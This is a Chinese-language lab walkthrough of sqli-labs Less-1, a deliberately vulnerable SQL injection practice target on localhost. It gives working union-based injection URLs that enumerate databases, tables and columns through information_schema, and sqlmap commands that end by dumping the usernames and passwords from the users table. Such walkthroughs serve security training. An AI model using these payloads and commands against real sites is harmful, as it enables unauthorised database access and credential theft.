sqli-labs less1 基于错误的GET单引号字符型注入
前言
Sqli-labs 是一个开源且全面的 SQL 注入练习靶场,里面包含很多种类型的SQL注入,很适合新手来练习。
基于错误的GET单引号字符型注入
根据题目提示,输入http://127.0.0.1/sqli-labs/Less-1/?id=1显示正常。
1.手工注入
1.判断是数字型还是字符型,添加单引号(是%27,被浏览器转译了),返回报错;
在单引号后添加 --+注释掉后面内容,返回正常;说明这个地方是单引号字符型注入。
注:我的数据库是mysql,mysql中的注释常用方式–+
2.使用order by 语句判断,该表中一共有几列数据,order by 语句order by column1 [ASC|DESC], column2 [ASC|DESC],… 此处以数字1,2,3…指定以某一列为key进行排序;
order by 3时;http://127.0.0.1/sqli-labs/Less-1/?id=1’ order by 3–+,返回成功;
order by 4时;http://127.0.0.1/sqli-labs/Less-1/?id=1’ order by 4–+,返回失败,证明数据库有3列;
这里查看后台数据库来验证一下,确实是3列数据。
3.接着进行联合注入,通过回显爆出表名,列名,字段,用户名和密码。
4.爆数据库名,http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20–+
注:这里我们需要把第一句设为假,才能执行之后的语句,如id=-1,这样就可以回显后两列回显你构造的语句了
5.爆security内的所有表名,http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)–+
6.爆所有列名,http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20–+
2.sqlmap注入
判断id=1处是否存在注入点,python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
列举数据库名称 -dbs
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -dbs
枚举数据库表
–tables枚举表名–>指定具体数据库 -D数据库名
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -tables
Sqlmap枚举数据表列
–columns-D指定数据库-T指定数据表-C指定具体字段
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --columns
Sqlmap枚举数据值
-dump
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump(想多项查询用,隔开)